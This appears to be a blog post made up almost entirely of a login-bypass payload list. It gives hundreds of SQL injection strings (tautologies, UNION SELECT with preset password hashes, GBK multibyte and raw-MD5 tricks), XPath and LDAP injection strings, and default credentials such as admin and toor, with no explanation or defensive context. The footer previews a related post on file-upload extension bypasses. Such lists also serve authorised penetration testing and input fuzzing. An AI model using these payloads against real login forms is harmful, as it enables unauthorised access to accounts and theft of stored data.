Atuh bypass | Login bypass

 Authentication bypass:-

Authentication Bypass (Raw. MD5):

  • "SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
  • md5("ffifdyop", true) = 'or'6�]��!r,��b�
Hash Authentication Bypass:
  • admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
GBK Authentication Bypass:
  • %A8%27 OR 1=1;-- 2
  • %8C%A8%27 OR 1=1-- 2
  • %bf' or 1=1 -- --
Login bypass list:-
  • admin
  • password
  • 1234
  • 123456
  • root
  • toor
  • test
  • guest
  • ' or '1'='1
  • ' or ''='
  • ' or 1]%00
  • ' or /* or '
  • ' or "a" or '
  • ' or 1 or '
  • ' or true() or '
  • 'or string-length(name(.))<10 or'
  • 'or contains(name,'adm') or'
  • 'or contains(.,'adm') or'
  • 'or position()=2 or'
  • admin' or '
  • admin' or '1'='2
  • *
  • *)(&
  • *)(|(&
  • pwd)
  • *)(|(*
  • *))%00
  • admin)(&)
  • pwd
  • admin)(!(&(|
  • pwd))
  • admin))(|(|
  • 1234
  • '-'
  • ' '
  • '&'
  • '^'
  • '*'
  • ' or ''-'
  • ' or '' '
  • ' or ''&'
  • ' or ''^'
  • ' or ''*'
  • "-"
  • " "
  • "&"
  • "^"
  • "*"
  • " or ""-"
  • " or "" "
  • " or ""&"
  • " or ""^"
  • " or ""*"
  • or true--
  • " or true--
  • ' or true--
  • ") or true--
  • ') or true--
  • ' or 'x'='x
  • ') or ('x')=('x
  • ')) or (('x'))=(('x
  • " or "x"="x
  • ") or ("x")=("x
  • ")) or (("x"))=(("x
  • or 1=1
  • or 1=1--
  • or 1=1#
  • or 1=1/*
  • admin' --
  • admin' #
  • admin'/*
  • admin' or '1'='1
  • admin' or '1'='1'--
  • admin' or '1'='1'#
  • admin' or '1'='1'/*
  • admin'or 1=1 or ''='
  • admin' or 1=1
  • admin' or 1=1--
  • admin' or 1=1#
  • admin' or 1=1/*
  • admin') or ('1'='1
  • admin') or ('1'='1'--
  • admin') or ('1'='1'#
  • admin') or ('1'='1'/*
  • admin') or '1'='1
  • admin') or '1'='1'--
  • admin') or '1'='1'#
  • admin') or '1'='1'/*
  • 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
  • 1234 ' AND 1=0 UNION ALL SELECT 'admin', '7110eda4d09e062aa5e4a390b0a572ac0d2c0220
  • admin" --
  • admin" #
  • admin"/*
  • admin" or "1"="1
  • admin" or "1"="1"--
  • admin" or "1"="1"#
  • admin" or "1"="1"/*
  • admin"or 1=1 or ""="
  • admin" or 1=1
  • admin" or 1=1--
  • admin" or 1=1#
  • admin" or 1=1/*
  • admin") or ("1"="1
  • admin") or ("1"="1"--
  • admin") or ("1"="1"#
  • admin") or ("1"="1"/*
  • admin") or "1"="1
  • admin") or "1"="1"--
  • admin") or "1"="1"#
  • admin") or "1"="1"/*
  • 1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
  • 1234 " AND 1=0 UNION ALL SELECT "admin", "7110eda4d09e062aa5e4a390b0a572ac0d2c0220
  • ==
  • =
  • '
  • ' --
  • ' #
  • ' –
  • '--
  • '/*
  • '#
  • " --
  • " #
  • "/*
  • ' and 1='1
  • ' and a='a
  • or true
  • ' or ''='
  • " or ""="
  • 1′) and '1′='1–
  • ' AND 1=0 UNION ALL SELECT '', '81dc9bdb52d04dc20036dbd8313ed055
  • " AND 1=0 UNION ALL SELECT "", "81dc9bdb52d04dc20036dbd8313ed055
  • ' AND 1=0 UNION ALL SELECT '', '7110eda4d09e062aa5e4a390b0a572ac0d2c0220
  • " AND 1=0 UNION ALL SELECT "", "7110eda4d09e062aa5e4a390b0a572ac0d2c0220
  • and 1=1
  • and 1=1–
  • ' and 'one'='one
  • ' and 'one'='one–
  • ' group by password having 1=1--
  • ' group by userid having 1=1--
  • ' group by username having 1=1--
  • like '%'
  • or 0=0 --
  • or 0=0 #
  • or 0=0 –
  • ' or         0=0 #
  • ' or 0=0 --
  • ' or 0=0 #
  • ' or 0=0 –
  • " or 0=0 --
  • " or 0=0 #
  • " or 0=0 –
  • %' or '0'='0
  • or 1=1–
  • ' or 1=1--
  • ' or '1'='1
  • ' or '1'='1'--
  • ' or '1'='1'/*
  • ' or '1'='1'#
  • ' or '1′='1
  • ' or 1=1
  • ' or 1=1 --
  • ' or 1=1 –
  • ' or 1=1;#
  • ' or 1=1/*
  • ' or 1=1#
  • ' or 1=1–
  • ') or '1'='1
  • ') or '1'='1--
  • ') or '1'='1'--
  • ') or '1'='1'/*
  • ') or '1'='1'#
  • ') or ('1'='1
  • ') or ('1'='1--
  • ') or ('1'='1'--
  • ') or ('1'='1'/*
  • ') or ('1'='1'#
  • 'or'1=1
  • 'or'1=1′
  • " or "1"="1
  • " or "1"="1"--
  • " or "1"="1"/*
  • " or "1"="1"#
  • " or 1=1
  • " or 1=1 --
  • " or 1=1 –
  • " or 1=1--
  • " or 1=1/*
  • " or 1=1#
  • " or 1=1–
  • ") or "1"="1
  • ") or "1"="1"--
  • ") or "1"="1"/*
  • ") or "1"="1"#
  • ") or ("1"="1
  • ") or ("1"="1"--
  • ") or ("1"="1"/*
  • ") or ("1"="1"#
  • ) or '1′='1–
  • ) or ('1′='1–
  • ' or 1=1 LIMIT 1;#
  • 'or 1=1 or ''='
  • "or 1=1 or ""="
  • ' or a=a--
  • ' or a=a–
  • " or "a"="a
  • ") or ("a"="a
  • ') or ('a'='a and hi") or ("a"="a
  • ' or 'one'='one
  • ' or 'one'='one–
  • ' or uid like '%
  • ' or uname like '%
  • ' or userid like '%
  • ' or user like '%
  • ' or username like '%
  • ') or ('x'='x
  • ' OR 'x'='x'#;
  • '=' 'or' and '=' 'or'
  • ' UNION ALL SELECT 1, @@version;#
  • ' UNION ALL SELECT system_user(),user();#
  • ' UNION select table_schema,table_name FROM information_Schema.tables;#
  • admin' and substring(password/text(),1,1)='7
  • ' and substring(password/text(),1,1)='7
  • "
  • '-- 2
  • "-- 2
  • '='
  • 0'&lt;'2
  • "="
  • 0"&lt;"2
  • ')
  • ")
  • ')-- 2
  • ')/*
  • ')#
  • ")-- 2
  • ") #
  • ")/*
  • ')-('
  • ')&('
  • ')^('
  • ')*('
  • ')=('
  • 0')&lt;('2
  • ")-("
  • ")&("
  • ")^("
  • ")*("
  • ")=("
  • 0")&lt;("2
  • '-''-- 2
  • '-''#
  • '-''/*
  • '&''-- 2
  • '&''#
  • '&''/*
  • '^''-- 2
  • '^''#
  • '^''/*
  • '*''-- 2
  • '*''#
  • '*''/*
  • '=''-- 2
  • '=''#
  • '=''/*
  • 0'&lt;'2'-- 2
  • 0'&lt;'2'#
  • 0'&lt;'2'/*
  • "-""-- 2
  • "-""#
  • "-""/*
  • "&""-- 2
  • "&""#
  • "&""/*
  • "^""-- 2
  • "^""#
  • "^""/*
  • "*""-- 2
  • "*""#
  • "*""/*
  • "=""-- 2
  • "=""#
  • "=""/*
  • 0"&lt;"2"-- 2
  • 0"&lt;"2"#
  • 0"&lt;"2"/*
  • ')-''-- 2
  • ')-''#
  • ')-''/*
  • ')&''-- 2
  • ')&''#
  • ')&''/*
  • ')^''-- 2
  • ')^''#
  • ')^''/*
  • ')*''-- 2
  • ')*''#
  • ')*''/*
  • ')=''-- 2
  • ')=''#
  • ')=''/*
  • 0')&lt;'2'-- 2
  • 0')&lt;'2'#
  • 0')&lt;'2'/*
  • ")-""-- 2
  • ")-""#
  • ")-""/*
  • ")&""-- 2
  • ")&""#
  • ")&""/*
  • ")^""-- 2
  • ")^""#
  • ")^""/*
  • ")*""-- 2
  • ")*""#
  • ")*""/*
  • ")=""-- 2
  • ")=""#
  • ")=""/*
  • 0")&lt;"2-- 2
  • 0")&lt;"2#
  • 0")&lt;"2/*
  • 'oR'2
  • 'oR'2'-- 2
  • 'oR'2'#
  • 'oR'2'/*
  • 'oR'2'oR'
  • 'oR(2)-- 2
  • 'oR(2)#
  • 'oR(2)/*
  • 'oR(2)oR'
  • 'oR 2-- 2
  • 'oR 2#
  • 'oR 2/*
  • 'oR 2 oR'
  • 'oR/**/2-- 2
  • 'oR/**/2#
  • 'oR/**/2/*
  • 'oR/**/2/**/oR'
  • "oR"2
  • "oR"2"-- 2
  • "oR"2"#
  • "oR"2"/*
  • "oR"2"oR"
  • "oR(2)-- 2
  • "oR(2)#
  • "oR(2)/*
  • "oR(2)oR"
  • "oR 2-- 2
  • "oR 2#
  • "oR 2/*
  • "oR 2 oR"
  • "oR/**/2-- 2
  • "oR/**/2#
  • "oR/**/2/*
  • "oR/**/2/**/oR"
  • 'oR'2'='2
  • 'oR'2'='2'oR'
  • 'oR'2'='2'-- 2
  • 'oR'2'='2'#
  • 'oR'2'='2'/*
  • 'oR 2=2-- 2
  • 'oR 2=2#
  • 'oR 2=2/*
  • 'oR 2=2 oR'
  • 'oR/**/2=2-- 2
  • 'oR/**/2=2#
  • 'oR/**/2=2/*
  • 'oR/**/2=2/**/oR'
  • 'oR(2)=2-- 2
  • 'oR(2)=2#
  • 'oR(2)=2/*
  • 'oR(2)=(2)oR'
  • 'oR'2'='2' LimIT 1-- 2
  • 'oR'2'='2' LimIT 1#
  • 'oR'2'='2' LimIT 1/*
  • 'oR(2)=(2)LimIT(1)-- 2
  • 'oR(2)=(2)LimIT(1)#
  • 'oR(2)=(2)LimIT(1)/*
  • "oR"2"="2
  • "oR"2"="2"oR"
  • "oR"2"="2"-- 2
  • "oR"2"="2"#
  • "oR"2"="2"/*
  • "oR 2=2-- 2
  • "oR 2=2#
  • "oR 2=2/*
  • "oR 2=2 oR"
  • "oR/**/2=2-- 2
  • "oR/**/2=2#
  • "oR/**/2=2/*
  • "oR/**/2=2/**/oR"
  • "oR(2)=2-- 2
  • "oR(2)=2#
  • "oR(2)=2/*
  • "oR(2)=(2)oR"
  • "oR"2"="2" LimIT 1-- 2
  • "oR"2"="2" LimIT 1#
  • "oR"2"="2" LimIT 1/*
  • "oR(2)=(2)LimIT(1)-- 2
  • "oR(2)=(2)LimIT(1)#
  • "oR(2)=(2)LimIT(1)/*
  • 'oR true-- 2
  • 'oR true#
  • 'oR true/*
  • 'oR true oR'
  • 'oR(true)-- 2
  • 'oR(true)#
  • 'oR(true)/*
  • 'oR(true)oR'
  • 'oR/**/true-- 2
  • 'oR/**/true#
  • 'oR/**/true/*
  • 'oR/**/true/**/oR'
  • "oR true-- 2
  • "oR true#
  • "oR true/*
  • "oR true oR"
  • "oR(true)-- 2
  • "oR(true)#
  • "oR(true)/*
  • "oR(true)oR"
  • "oR/**/true-- 2
  • "oR/**/true#
  • "oR/**/true/*
  • "oR/**/true/**/oR"
  • 'oR'2'LiKE'2
  • 'oR'2'LiKE'2'-- 2
  • 'oR'2'LiKE'2'#
  • 'oR'2'LiKE'2'/*
  • 'oR'2'LiKE'2'oR'
  • 'oR(2)LiKE(2)-- 2
  • 'oR(2)LiKE(2)#
  • 'oR(2)LiKE(2)/*
  • 'oR(2)LiKE(2)oR'
  • "oR"2"LiKE"2
  • "oR"2"LiKE"2"-- 2
  • "oR"2"LiKE"2"#
  • "oR"2"LiKE"2"/*
  • "oR"2"LiKE"2"oR"
  • "oR(2)LiKE(2)-- 2
  • "oR(2)LiKE(2)#
  • "oR(2)LiKE(2)/*
  • "oR(2)LiKE(2)oR"
  • admin
  • admin'-- 2
  • admin'#
  • admin"-- 2
  • admin"#
  • ffifdyop
  • ' UniON SElecT 1,2-- 2
  • ' UniON SElecT 1,2,3-- 2
  • ' UniON SElecT 1,2,3,4-- 2
  • ' UniON SElecT 1,2,3,4,5-- 2
  • ' UniON SElecT 1,2#
  • ' UniON SElecT 1,2,3#
  • ' UniON SElecT 1,2,3,4#
  • ' UniON SElecT 1,2,3,4,5#
  • 'UniON(SElecT(1),2)-- 2
  • 'UniON(SElecT(1),2,3)-- 2
  • 'UniON(SElecT(1),2,3,4)-- 2
  • 'UniON(SElecT(1),2,3,4,5)-- 2
  • 'UniON(SElecT(1),2)#
  • 'UniON(SElecT(1),2,3)#
  • 'UniON(SElecT(1),2,3,4)#
  • 'UniON(SElecT(1),2,3,4,5)#
  • " UniON SElecT 1,2-- 2
  • " UniON SElecT 1,2,3-- 2
  • " UniON SElecT 1,2,3,4-- 2
  • " UniON SElecT 1,2,3,4,5-- 2
  • " UniON SElecT 1,2#
  • " UniON SElecT 1,2,3#
  • " UniON SElecT 1,2,3,4#
  • " UniON SElecT 1,2,3,4,5#
  • "UniON(SElecT(1),2)-- 2
  • "UniON(SElecT(1),2,3)-- 2
  • "UniON(SElecT(1),2,3,4)-- 2
  • "UniON(SElecT(1),2,3,4,5)-- 2
  • "UniON(SElecT(1),2)#
  • "UniON(SElecT(1),2,3)#
  • "UniON(SElecT(1),2,3,4)#
  • "UniON(SElecT(1),2,3,4,5)#
  • '||'2
  • '||2-- 2
  • '||'2'||'
  • '||2#
  • '||2/*
  • '||2||'
  • "||"2
  • "||2-- 2
  • "||"2"||"
  • "||2#
  • "||2/*
  • "||2||"
  • '||'2'='2
  • '||'2'='2'||'
  • '||2=2-- 2
  • '||2=2#
  • '||2=2/*
  • '||2=2||'
  • "||"2"="2
  • "||"2"="2"||"
  • "||2=2-- 2
  • "||2=2#
  • "||2=2/*
  • "||2=2||"
  • '||2=(2)LimIT(1)-- 2
  • '||2=(2)LimIT(1)#
  • '||2=(2)LimIT(1)/*
  • "||2=(2)LimIT(1)-- 2
  • "||2=(2)LimIT(1)#
  • "||2=(2)LimIT(1)/*
  • '||true-- 2
  • '||true#
  • '||true/*
  • '||true||'
  • "||true-- 2
  • "||true#
  • "||true/*
  • "||true||"
  • '||'2'LiKE'2
  • '||'2'LiKE'2'-- 2
  • '||'2'LiKE'2'#
  • '||'2'LiKE'2'/*
  • '||'2'LiKE'2'||'
  • '||(2)LiKE(2)-- 2
  • '||(2)LiKE(2)#
  • '||(2)LiKE(2)/*
  • '||(2)LiKE(2)||'
  • "||"2"LiKE"2
  • "||"2"LiKE"2"-- 2
  • "||"2"LiKE"2"#
  • "||"2"LiKE"2"/*
  • "||"2"LiKE"2"||"
  • "||(2)LiKE(2)-- 2
  • "||(2)LiKE(2)#
  • "||(2)LiKE(2)/*
  • "||(2)LiKE(2)||"
  • ')oR('2
  • ')oR'2'-- 2
  • ')oR'2'#
  • ')oR'2'/*
  • ')oR'2'oR('
  • ')oR(2)-- 2
  • ')oR(2)#
  • ')oR(2)/*
  • ')oR(2)oR('
  • ')oR 2-- 2
  • ')oR 2#
  • ')oR 2/*
  • ')oR 2 oR('
  • ')oR/**/2-- 2
  • ')oR/**/2#
  • ')oR/**/2/*
  • ')oR/**/2/**/oR('
  • ")oR("2
  • ")oR"2"-- 2
  • ")oR"2"#
  • ")oR"2"/*
  • ")oR"2"oR("
  • ")oR(2)-- 2
  • ")oR(2)#
  • ")oR(2)/*
  • ")oR(2)oR("
  • ")oR 2-- 2
  • ")oR 2#
  • ")oR 2/*
  • ")oR 2 oR("
  • ")oR/**/2-- 2
  • ")oR/**/2#
  • ")oR/**/2/*
  • ")oR/**/2/**/oR("
  • ')oR'2'=('2
  • ')oR'2'='2'oR('
  • ')oR'2'='2'-- 2
  • ')oR'2'='2'#
  • ')oR'2'='2'/*
  • ')oR 2=2-- 2
  • ')oR 2=2#
  • ')oR 2=2/*
  • ')oR 2=2 oR('
  • ')oR/**/2=2-- 2
  • ')oR/**/2=2#
  • ')oR/**/2=2/*
  • ')oR/**/2=2/**/oR('
  • ')oR(2)=2-- 2
  • ')oR(2)=2#
  • ')oR(2)=2/*
  • ')oR(2)=(2)oR('
  • ')oR'2'='2' LimIT 1-- 2
  • ')oR'2'='2' LimIT 1#
  • ')oR'2'='2' LimIT 1/*
  • ')oR(2)=(2)LimIT(1)-- 2
  • ')oR(2)=(2)LimIT(1)#
  • ')oR(2)=(2)LimIT(1)/*
  • ")oR"2"=("2
  • ")oR"2"="2"oR("
  • ")oR"2"="2"-- 2
  • ")oR"2"="2"#
  • ")oR"2"="2"/*
  • ")oR 2=2-- 2
  • ")oR 2=2#
  • ")oR 2=2/*
  • ")oR 2=2 oR("
  • ")oR/**/2=2-- 2
  • ")oR/**/2=2#
  • ")oR/**/2=2/*
  • ")oR/**/2=2/**/oR("
  • ")oR(2)=2-- 2
  • ")oR(2)=2#
  • ")oR(2)=2/*
  • ")oR(2)=(2)oR("
  • ")oR"2"="2" LimIT 1-- 2
  • ")oR"2"="2" LimIT 1#
  • ")oR"2"="2" LimIT 1/*
  • ")oR(2)=(2)LimIT(1)-- 2
  • ")oR(2)=(2)LimIT(1)#
  • ")oR(2)=(2)LimIT(1)/*
  • ')oR true-- 2
  • ')oR true#
  • ')oR true/*
  • ')oR true oR('
  • ')oR(true)-- 2
  • ')oR(true)#
  • ')oR(true)/*
  • ')oR(true)oR('
  • ')oR/**/true-- 2
  • ')oR/**/true#
  • ')oR/**/true/*
  • ')oR/**/true/**/oR('
  • ")oR true-- 2
  • ")oR true#
  • ")oR true/*
  • ")oR true oR("
  • ")oR(true)-- 2
  • ")oR(true)#
  • ")oR(true)/*
  • ")oR(true)oR("
  • ")oR/**/true-- 2
  • ")oR/**/true#
  • ")oR/**/true/*
  • ")oR/**/true/**/oR("
  • ')oR'2'LiKE('2
  • ')oR'2'LiKE'2'-- 2
  • ')oR'2'LiKE'2'#
  • ')oR'2'LiKE'2'/*
  • ')oR'2'LiKE'2'oR('
  • ')oR(2)LiKE(2)-- 2
  • ')oR(2)LiKE(2)#
  • ')oR(2)LiKE(2)/*
  • ')oR(2)LiKE(2)oR('
  • ")oR"2"LiKE("2
  • ")oR"2"LiKE"2"-- 2
  • ")oR"2"LiKE"2"#
  • ")oR"2"LiKE"2"/*
  • ")oR"2"LiKE"2"oR("
  • ")oR(2)LiKE(2)-- 2
  • ")oR(2)LiKE(2)#
  • ")oR(2)LiKE(2)/*
  • ")oR(2)LiKE(2)oR("
  • admin')-- 2
  • admin')#
  • admin')/*
  • admin")-- 2
  • admin")#
  • ') UniON SElecT 1,2-- 2
  • ') UniON SElecT 1,2,3-- 2
  • ') UniON SElecT 1,2,3,4-- 2
  • ') UniON SElecT 1,2,3,4,5-- 2
  • ') UniON SElecT 1,2#
  • ') UniON SElecT 1,2,3#
  • ') UniON SElecT 1,2,3,4#
  • ') UniON SElecT 1,2,3,4,5#
  • ')UniON(SElecT(1),2)-- 2
  • ')UniON(SElecT(1),2,3)-- 2
  • ')UniON(SElecT(1),2,3,4)-- 2
  • ')UniON(SElecT(1),2,3,4,5)-- 2
  • ')UniON(SElecT(1),2)#
  • ')UniON(SElecT(1),2,3)#
  • ')UniON(SElecT(1),2,3,4)#
  • ')UniON(SElecT(1),2,3,4,5)#
  • ") UniON SElecT 1,2-- 2
  • ") UniON SElecT 1,2,3-- 2
  • ") UniON SElecT 1,2,3,4-- 2
  • ") UniON SElecT 1,2,3,4,5-- 2
  • ") UniON SElecT 1,2#
  • ") UniON SElecT 1,2,3#
  • ") UniON SElecT 1,2,3,4#
  • ") UniON SElecT 1,2,3,4,5#
  • ")UniON(SElecT(1),2)-- 2
  • ")UniON(SElecT(1),2,3)-- 2
  • ")UniON(SElecT(1),2,3,4)-- 2
  • ")UniON(SElecT(1),2,3,4,5)-- 2
  • ")UniON(SElecT(1),2)#
  • ")UniON(SElecT(1),2,3)#
  • ")UniON(SElecT(1),2,3,4)#
  • ")UniON(SElecT(1),2,3,4,5)#
  • ')||('2
  • ')||2-- 2
  • ')||'2'||('
  • ')||2#
  • ')||2/*
  • ')||2||('
  • ")||("2
  • ")||2-- 2
  • ")||"2"||("
  • ")||2#
  • ")||2/*
  • ")||2||("
  • ')||'2'=('2
  • ')||'2'='2'||('
  • ')||2=2-- 2
  • ')||2=2#
  • ')||2=2/*
  • ')||2=2||('
  • ")||"2"=("2
  • ")||"2"="2"||("
  • ")||2=2-- 2
  • ")||2=2#
  • ")||2=2/*
  • ")||2=2||("
  • ')||2=(2)LimIT(1)-- 2
  • ')||2=(2)LimIT(1)#
  • ')||2=(2)LimIT(1)/*
  • ")||2=(2)LimIT(1)-- 2
  • ")||2=(2)LimIT(1)#
  • ")||2=(2)LimIT(1)/*
  • ')||true-- 2
  • ')||true#
  • ')||true/*
  • ')||true||('
  • ")||true-- 2
  • ")||true#
  • ")||true/*
  • ")||true||("
  • ')||'2'LiKE('2
  • ')||'2'LiKE'2'-- 2
  • ')||'2'LiKE'2'#
  • ')||'2'LiKE'2'/*
  • ')||'2'LiKE'2'||('
  • ')||(2)LiKE(2)-- 2
  • ')||(2)LiKE(2)#
  • ')||(2)LiKE(2)/*
  • ')||(2)LiKE(2)||('
  • ")||"2"LiKE("2
  • ")||"2"LiKE"2"-- 2
  • ")||"2"LiKE"2"#
  • ")||"2"LiKE"2"/*
  • ")||"2"LiKE"2"||("
  • ")||(2)LiKE(2)-- 2
  • ")||(2)LiKE(2)#
  • ")||(2)LiKE(2)/*
  • ")||(2)LiKE(2)||("
  • ' UnION SELeCT 1,2`
  • ' UnION SELeCT 1,2,3`
  • ' UnION SELeCT 1,2,3,4`
  • ' UnION SELeCT 1,2,3,4,5`
  • " UnION SELeCT 1,2`
  • " UnION SELeCT 1,2,3`
  • " UnION SELeCT 1,2,3,4`
  • " UnION SELeCT 1,2,3,4,5`
  • ' or 1=1 limit 1 -- -+
  • '="or'
  • Pass1234.
  • Pass1234.' AND 1=0 UniON SeleCT 'admin', 'fe1ff105bf807478a217ad4e378dc658
  • Pass1234.' AND 1=0 UniON SeleCT 'admin', 'fe1ff105bf807478a217ad4e378dc658'#
  • Pass1234.' AND 1=0 UniON ALL SeleCT 'admin', md5('Pass1234.
  • Pass1234.' AND 1=0 UniON ALL SeleCT 'admin', md5('Pass1234.')#
  • Pass1234.' AND 1=0 UniON SeleCT 'admin', '5b19a9e947ca0fee49995f2a8b359e1392adbb61
  • Pass1234.' AND 1=0 UniON SeleCT 'admin', '5b19a9e947ca0fee49995f2a8b359e1392adbb61'#
  • Pass1234.' and 1=0 union select 'admin',sha('Pass1234.
  • Pass1234.' and 1=0 union select 'admin',sha('Pass1234.')#
  • Pass1234." AND 1=0 UniON SeleCT "admin", "fe1ff105bf807478a217ad4e378dc658
  • Pass1234." AND 1=0 UniON SeleCT "admin", "fe1ff105bf807478a217ad4e378dc658"#
  • Pass1234." AND 1=0 UniON ALL SeleCT "admin", md5("Pass1234.
  • Pass1234." AND 1=0 UniON ALL SeleCT "admin", md5("Pass1234.")#
  • Pass1234." AND 1=0 UniON SeleCT "admin", "5b19a9e947ca0fee49995f2a8b359e1392adbb61
  • Pass1234." AND 1=0 UniON SeleCT "admin", "5b19a9e947ca0fee49995f2a8b359e1392adbb61"#
  • Pass1234." and 1=0 union select "admin",sha("Pass1234.
  • Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
  • %A8%27 Or 1=1-- 2
  • %8C%A8%27 Or 1=1-- 2
  • %bf' Or 1=1 -- 2
  • %A8%27 Or 1-- 2
  • %8C%A8%27 Or 1-- 2
  • %bf' Or 1-- 2
  • %A8%27Or(1)-- 2
  • %8C%A8%27Or(1)-- 2
  • %bf'Or(1)-- 2
  • %A8%27||1-- 2
  • %8C%A8%27||1-- 2
  • %bf'||1-- 2
  • %A8%27) Or 1=1-- 2
  • %8C%A8%27) Or 1=1-- 2
  • %bf') Or 1=1 -- 2
  • %A8%27) Or 1-- 2
  • %8C%A8%27) Or 1-- 2
  • %bf') Or 1-- 2
  • %A8%27)Or(1)-- 2
  • %8C%A8%27)Or(1)-- 2
  • %bf')Or(1)-- 2
  • %A8%27)||1-- 2
  • %8C%A8%27)||1-- 2
  • %bf')||1-- 2

Comments

Post a Comment

Popular posts from this blog

How to decrypt message with CryptoJS AES

  Javascript code to decrypt message using crypto js : - data = " IYkyGxYaNgHpnZWgwILMalVFmLWFgTCHCZL9263NOcfSo5lBjAzOZAtF5bF++R0Bi+9c9E+p3VEr/xvj4oABtRWVJ2wlWzLbYC2rKFk5iapFhb7uZCUpO4w4Su3a5QFa2vInjYueziRoqySZd/DpstMJ8rsJ94VGizFFFZ1l0sw1ax+wfBA v5+wHs/hlnHi/ea66KBO3rgXKahvV28h+4bh5etc8RCrmiiNbfg6Oj0jQJDjdYIdW8T9YPOI9E1hih8lbfRnMWcOFJgYekfLpoy5LI525UGnlM46J1k6ekLqsn9FqvbiOOoLgqa4YqBm1i9P0ePyjkME+t+RiL8xXX+ItgOYr9G7kM64wlTJPCW8B/crmUdmGzQNC/hD/u/8wfHBS2f8u6OtQMG/+Kpk1oju8lcUZGI/4S8A6/OuktvQr2zgnbs2aADMrM37Oait/pJ3G73S7NwVT8EaK+X43c0C/fUvW2/bD/rqCNpAh9WQlz4Cj6JHwjbmwuind6aCimF1tHjXuR9FXu+g17sPT4ZkKZ6aeBG+m170XdCGn2hVM0wH1rh3VeCG2u/JFqfuGKGSoqeHeNY/icu9pEhtZDzHd7aPoaMXcWvXC9PjooBf7GM1EPacSdnon1kBobjtKSt1l15DjO5TMrJoX7VO7GotQwo+uI/u5Kop01hBXxyxyggl1/8N0ESohPJoqLDrIwvbGK5kW4B49FVPnx9CMvjZDdSsoxPAh+hx6SPe8Hj0Nx4bRs06cbtOkte/V8QSYIqjiJDleEqPrdiKlvgToZz9L29ZR/3Ln65qU1sq7q9c0SEYxIopV7TdTjFS7y76zDPFZkhzc3DjfLtJo/M1hdtt648APcZdmAIgWH6fh3eJZ0qbiPh8RStYH7I2COmnlMw4+t/B5mlhYVSgwPK2Ir736Mh+P9Bw...
Read more

libcurl (curl-impersonate) bindings for Node.js

  Description  :-   libcurl is a free and easy-to-use client-side URL transfer library, supporting DICT, FILE, FTP, FTPS, Gopher, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP, SCP, SFTP, SMTP, SMTPS, Telnet and TFTP. libcurl supports SSL certificates, HTTP POST, HTTP PUT, FTP uploading, HTTP form based upload, proxies, cookies, user+password authentication (Basic, Digest, NTLM, Negotiate, Kerberos), file transfer resume, http proxy tunneling and more! Note:- This library cannot be used in a browser, it depends on native code. Installation :- npm i node-libcurl --save Or yarn add node-libcurl Further description :- https://github.com/SwapnilSoni1999/node-libcurl-impersonate
Read more

File upload bypass

  File Upload General Methodology :- Other useful extensions: PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action Coldfusion: .cfm, .cfml, .cfc, .dbm Flash: .swf Perl: .pl, .cgi Erlang Yaws Web Server: .yaws Bypass file extensions checks :- Try adding special characters at the end. You could use Burp to bruteforce all the ascii and Unicode characters. (Note that you can also try to use the previously motioned extensions) file.php%20 file.php%0a file.php%00 file.php%0d%0a file.php/ file.php.\ file. file.php.... file.pHp5.... Magic Header Bytes :- PNG : " \x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03[ " JPG : " \xff\xd8\xff " From File upload to other vulnerabilities :- Set filename to ../../../tmp/lol.png and try to a...
Read more